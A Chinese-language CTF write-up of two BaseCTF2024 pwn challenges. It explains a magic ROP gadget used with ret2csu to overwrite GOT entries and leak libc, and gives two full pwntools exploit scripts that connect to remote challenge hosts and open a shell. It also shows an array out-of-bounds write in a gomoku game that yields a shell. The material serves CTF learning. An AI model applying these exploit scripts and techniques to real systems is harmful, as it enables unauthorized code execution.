栈的一个magic gadget的运用以及数组越界

asm 复制代码
.text:0000000000400658                 add     [rbp-3Dh], ebx
.text:000000000040065B                 nop
.text:000000000040065C                 retn

这个gadget就比较常见了,就是把ebx的值加给rbp-0x3d内的一个指针解引用后的内容,后面是进行了一个nop不作操作,再后面ret就是继续执行我们栈上的内容,这个主要是要控制rbp与rbx才能实现任意地址写,主要还是利用之前讲过的csu函数去控制这两个寄存器。下面看例题

BaseCTF2024新生赛ezstack

先checksec

这里只开了nx保护,我们去ida看看

这里就一个光秃秃的gets栈溢出,什么输出函数都没有。那怎么办呢?这里因为没有全开relro可以打ret2dlresolve,不过这里也有magic gadget

那这里其实有很多解法了,第一种就是ret2dlresolve(后面我会单独写个文章和延迟绑定机制一起讲),第二种是用magic gadget写got表,写出来一个system函数,直接rop链打完,第三种是因为标准输出也是一个libc库的指针,所以我们也可以写这个,只要我们把他写成一个输出函数,就可以实现泄露libc基址

这里其实第一种和第二种都比较看题,如果开了full relro那就不能用了,第三种就比较全一点,没有这个限制。

用magic gadget改got表解法

这里我们先看第二种,我们先找got表有哪些函数

这里有两个函数,随便写哪个都一样,我们写gets看看,先找出gets和system在libc的偏移

我们只需要把0x80520+某个数让它=0x50d70,我们这里很显然注意到这里要用补码,我们直接算一下就知道答案是0xFFFFFFFFFFFD0850所以这里就很简单了,我们只需要控制rbx是0xFFFFFFFFFFFD0850,rbp是gets的got表的地址+0x3d就写完了,完整exp如下

复制代码
from pwn import *
import sys
#context.log_level='debug'
context.arch='amd64'
flag = 1
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
if flag:
    p = remote('challenge.imxbt.cn',32689)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def csu(rbx,rbp,got,rdi,rsi,rdx):
	pay=p64(0)+p64(rbx)+p64(rbp)+p64(got)+p64(rdi)+p64(rsi)+p64(rdx)
	return pay
def dbg():
    gdb.attach(p)
    pause()
magic=0x400658
csugo=0x4006D0
csuin=0x4006E6
rdi=0x4006f3
gets=elf.got['gets']
target=0x601018
ret=0x4006F4
system=elf.plt['gets']
get=elf.sym['gets']
pay=0x10*b'b'+flat(rdi,elf.bss()+0x50,get)+p64(csuin)+csu(0xFFFFFFFFFFFD0850,target+0x3d,0,0,0,0)+p64(magic)+flat(ret,rdi,elf.bss()+0x50,system)
sl(pay)
sl(b'/bin/sh\x00')
ti()

效果如下

用magic gadget改bss解法

去改bss也可以,不过有点奇怪,我远程没打通。具体流程是一样的,先从stdin,stdout,stderr里挑一个找他们在libc里的偏移,再找一个输出函数在libc里的偏移。不过因为要泄露libc所以需要两次输入,直接返回main是会报错的,好像是因为io结构体被我们改掉了所以不能直接用gets了,这里选择就是再用一次magic gadget把我们改的io结构再改回去就可以再用gets了往bss写了,写完我们再用两次leave栈迁移过去执行即可(也可以不迁移用ret2csu),然后因为system函数会抬栈,要把gets写入bss的地址写高一点,我打本地的脚本如下

复制代码
from pwn import *
import sys
#context.log_level='debug'
context.arch='amd64'
flag = 1
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
if flag:
    p = remote('challenge.imxbt.cn',30415)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def csu(rbx,rbp,got,rdi,rsi,rdx):
	pay=p64(0)+p64(rbx)+p64(rbp)+p64(got)+p64(rdi)+p64(rsi)+p64(rdx)
	return pay
def dbg():
    gdb.attach(p)
    pause()
magic=0x400658
csugo=0x4006D0
csuin=0x4006E6
rdi=0x4006f3
gets=elf.got['gets']
get=elf.sym['gets']
target=0x601040
ret=0x4006F4
leave=0x40068C
bss=0x6011D0+0x800
rbp=0x400656
pay=0x10*b'b'+p64(csuin)+csu(0xFFFFFFFFFFEF9160,target+0x3d,0,0,0,0)+p64(magic)+p64(csuin)+csu(0,1,target,2,gets,0x20)+p64(csugo)+csu(0x106EA0,target+0x3d,0,0,0,0)+p64(magic)+flat(rdi,bss,get,rbp,bss,leave)+p64(leave)
sl(pay)
libcbase=u64(rc(6).ljust(8,b'\x00'))-libc.sym['gets']
print(hex(libcbase))
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pay=flat(0,ret,rdi,binsh,system)
sl(pay)
ti()

我的版本是glibc2.35,小版本是3.11,远程是glibc2.35小版本是3.8。理论上远程的偏移应该是0xFFFFFFFFFFEF9008,不过我输这个不知道为啥不行,好像是没改成write函数,没有泄露出来。挺奇怪的。不过思路大概就是这样,效果如下

数组越界

数组越界顾名思义,也就是访问数组时索引超出定义范围,可能导致程序访问非法内存。比如我定义一个数组a[10],然后后面有a[i]但i却能等于10,这就越界了。如果他检查i范围检查的不细致(没检查上界或下界)就可以实现几乎任意地址访问,那具体访问的地址是什么地址的呢?这就得有一些c语言基础了,在c语言中我们知道a[1]=*(a+1)这样我们的a[i]其实就是 *(a+i)假如i可以控制,或者a+i这个地址就是我们想改的地址,那么我们就可以访问到这个地址的内存,就很有可能可以进行修改。具体的地址运算就要看该数组的定义,int就是4字节定义,假如int a[10]那a地址与a+1地址就差4,char就差1,double就差8,二维数组也一样,二维数组可以看成一维数组的数组,比如int a[10] [10],相当于把a[10]又看成一个数组的元素,那a[1]距离a就差10个int,也就是40。还不懂的话可以去看看c语言,下面我们看题。

BaseCTF2024新生赛五子棋

这题其实9分逆向1分pwn,逆向出来了基本就写完了,不过我们还是老规矩先checksec

然后去ida看看

这里既然是五子棋,那肯定要有这几个模块,打印地图,玩家下棋,另一方下棋,检查,获胜。简单逆向一下,这里逻辑就是首先展示地图,然后用户先下,判断用户是否赢,没赢就递归调用game函数把a1改成1让if为真,进而让电脑下棋,然后判断电脑有没有赢,然后把a1改成0让用户再下,只要我们的下两颗棋就获胜就给我们shell,显然这样直接下不可能获得shell,所以一定有某个漏洞。

这里漏洞在用户下棋那里

这里有数组越界,不过运用的时候要注意因为地图其实里面一开始都是数字-1,所以我们只能在数字为-1的地方改数值,改成这个0,接下来我们看判断输赢的函数。

这里我们可以看见,这里四个循环,而这个x数组和y数组配合起来应该就是一个方向数组,通过n7的循环让这两个数组组合实现标定方向,n5的循环在遍历8个方向的棋子,n19_3与n19_2的组合就是遍历整个地图找标点,后面n7与n5就是在这个标点上延伸8个方向,如果有一次没找到对应棋子就断开这一次n5的循环换一个方向再找(也就是五子棋没连起来五个子),如果能找到五个(遍历五次)就判断获胜。我们可以看看这个方向向量的数组

这个dd就是定义双字的意思define doubleword,双字就是4个字节,也就是int的意思。其中2 dup(0)就是0重复两次,0FFFFFFFFh这里h就是16进制的意思,其实就是0xFFFFFFFF,这个就是-1的补码形式,数组内容如下

复制代码
y :0 0 1 -1 1 -1 1 -1
x : 1 -1 0 0 1 -1 -1 1

因为小端序所以他们的地址就是从左到右就是依次由0x4020去+4。到这里这个题就差不多结束了,因为我们用户输入能把-1变成0,这里我们要么选0x402c这个地址把这个-1变成0,这样xy组合的方向向量就变成(0,0)了,相当于这个地方延伸的五个方向都是他自己,实现检查自己五次,那就可以实现两颗棋子获胜了(也就是第二颗棋子下在方向数组里了哈哈),要么我们选把0x4044这个地址的-1变成0,这些都可以。接下来我们算我们地图数组到方向数组的偏移

地图数组的起始位置是0x9D60而且他也是int,以0x4044为例,到这的偏移就是0x9D60-0x4044也就是0x5D1C也就是十进制的23836我们知道int代表4字节,23836也就是5,959个偏移,也就是我们需要map[-5959]就能改到这个位置实现把方向向量改成(0,0),我们下棋是这样下的

map[20 * n19 + n19_1]=0,所以就随便搭配一下n19和n19_1凑出来-5959就可以了,这里注意n19,n19_1不能大于19就可以了,比如-298*20 1

或者-297 *20 -19都可以。这样我们只需要nc上去,先随便下一个地方,再输入-298 1或者-297 -19就getshell了。效果如下。

这题感觉设计的挺好的,有点意思,虽然逆向了我好久...